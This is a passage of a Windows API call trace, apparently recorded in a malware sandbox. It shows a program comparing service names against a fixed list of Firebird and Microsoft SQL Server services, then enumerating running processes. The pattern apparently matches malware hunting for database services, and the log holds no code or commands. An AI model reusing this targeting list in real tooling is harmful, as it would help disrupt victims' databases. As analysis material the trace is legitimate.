	[0187.365] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0187.365] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0187.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0187.365] lstrlenW (lpString="FontCache") returned 9
	[0187.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0187.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0187.366] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0187.366] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0187.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0187.366] lstrlenW (lpString="gpsvc") returned 5
	[0187.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0187.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0187.366] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0187.366] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0187.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0187.366] lstrlenW (lpString="iphlpsvc") returned 8
	[0187.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0187.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0187.366] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0187.366] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0187.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0187.366] lstrlenW (lpString="KeyIso") returned 6
	[0187.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0187.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0187.366] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0187.366] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0187.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0187.366] lstrlenW (lpString="LanmanServer") returned 12
	[0187.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0187.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0187.366] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0187.366] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0187.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0187.366] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0187.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0187.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0187.366] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0187.366] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0187.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0187.366] lstrlenW (lpString="lfsvc") returned 5
	[0187.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0187.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0187.366] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0187.367] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0187.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0187.367] lstrlenW (lpString="lmhosts") returned 7
	[0187.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0187.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0187.367] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0187.367] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0187.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0187.367] lstrlenW (lpString="LSM") returned 3
	[0187.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0187.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0187.367] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0187.367] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0187.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0187.367] lstrlenW (lpString="MpsSvc") returned 6
	[0187.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0187.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0187.367] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0187.367] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0187.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0187.367] lstrlenW (lpString="NcbService") returned 10
	[0187.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0187.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0187.367] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0187.367] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0187.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0187.367] lstrlenW (lpString="netprofm") returned 8
	[0187.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0187.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0187.367] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0187.367] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0187.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0187.367] lstrlenW (lpString="NgcSvc") returned 6
	[0187.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0187.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0187.367] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0187.368] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0187.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0187.368] lstrlenW (lpString="NlaSvc") returned 6
	[0187.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0187.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0187.368] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0187.368] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0187.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0187.368] lstrlenW (lpString="nsi") returned 3
	[0187.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0187.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0187.368] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0187.368] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0187.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0187.368] lstrlenW (lpString="PcaSvc") returned 6
	[0187.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0187.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0187.368] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0187.368] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0187.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0187.368] lstrlenW (lpString="PlugPlay") returned 8
	[0187.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0187.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0187.368] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0187.368] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0187.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0187.368] lstrlenW (lpString="Power") returned 5
	[0187.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0187.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0187.368] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0187.368] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0187.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0187.368] lstrlenW (lpString="ProfSvc") returned 7
	[0187.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0187.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0187.369] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0187.369] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0187.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0187.369] lstrlenW (lpString="RpcEptMapper") returned 12
	[0187.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0187.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0187.369] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0187.369] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0187.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0187.369] lstrlenW (lpString="RpcSs") returned 5
	[0187.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0187.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0187.369] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0187.369] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0187.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0187.369] lstrlenW (lpString="SamSs") returned 5
	[0187.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0187.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0187.369] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0187.369] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0187.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0187.369] lstrlenW (lpString="Schedule") returned 8
	[0187.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0187.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0187.369] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0187.369] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0187.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0187.369] lstrlenW (lpString="SecurityHealthService") returned 21
	[0187.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0187.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0187.369] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0187.369] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0187.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0187.369] lstrlenW (lpString="SENS") returned 4
	[0187.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0187.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0187.369] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0187.370] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0187.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0187.370] lstrlenW (lpString="ShellHWDetection") returned 16
	[0187.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0187.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0187.370] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0187.370] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0187.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0187.370] lstrlenW (lpString="Spooler") returned 7
	[0187.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0187.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0187.370] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0187.370] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0187.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0187.370] lstrlenW (lpString="StateRepository") returned 15
	[0187.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0187.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0187.370] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0187.370] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0187.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0187.370] lstrlenW (lpString="SysMain") returned 7
	[0187.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0187.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0187.370] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0187.370] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0187.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0187.370] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0187.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0187.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0187.370] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0187.370] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0187.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0187.479] lstrlenW (lpString="Themes") returned 6
	[0187.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0187.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0187.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0187.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0187.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0187.479] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0187.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0187.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0187.479] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0187.479] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0187.479] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284
	[0187.484] Process32FirstW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0187.485] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0187.485] lstrlenW (lpString="System") returned 6
	[0187.485] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0187.486] lstrlenW (lpString="smss.exe") returned 8
	[0187.486] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0187.497] lstrlenW (lpString="csrss.exe") returned 9
	[0187.497] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0187.498] lstrlenW (lpString="wininit.exe") returned 11
	[0187.498] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0187.498] lstrlenW (lpString="csrss.exe") returned 9
	[0187.498] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0187.499] lstrlenW (lpString="winlogon.exe") returned 12
	[0187.499] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0187.499] lstrlenW (lpString="services.exe") returned 12
	[0187.499] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0187.499] lstrlenW (lpString="lsass.exe") returned 9
	[0187.500] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0187.500] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0187.500] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0187.500] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0187.500] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.501] lstrlenW (lpString="svchost.exe") returned 11
	[0187.501] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.501] lstrlenW (lpString="svchost.exe") returned 11
	[0187.501] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0187.502] lstrlenW (lpString="dwm.exe") returned 7
	[0187.502] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.502] lstrlenW (lpString="svchost.exe") returned 11
	[0187.502] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.502] lstrlenW (lpString="svchost.exe") returned 11
	[0187.502] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.503] lstrlenW (lpString="svchost.exe") returned 11
	[0187.503] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.503] lstrlenW (lpString="svchost.exe") returned 11
	[0187.503] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.504] lstrlenW (lpString="svchost.exe") returned 11
	[0187.504] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.504] lstrlenW (lpString="svchost.exe") returned 11
	[0187.504] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.505] lstrlenW (lpString="svchost.exe") returned 11
	[0187.505] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.505] lstrlenW (lpString="svchost.exe") returned 11
	[0187.505] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.505] lstrlenW (lpString="svchost.exe") returned 11
	[0187.505] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.506] lstrlenW (lpString="svchost.exe") returned 11
	[0187.506] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0187.506] lstrlenW (lpString="spoolsv.exe") returned 11
	[0187.506] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.507] lstrlenW (lpString="svchost.exe") returned 11
	[0187.507] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0187.507] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0187.507] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0187.508] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0187.508] Process32NextW (in: hSnapshot=0x284, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0187.508] lstrlenW (lpString="audiodg.exe") returned 11
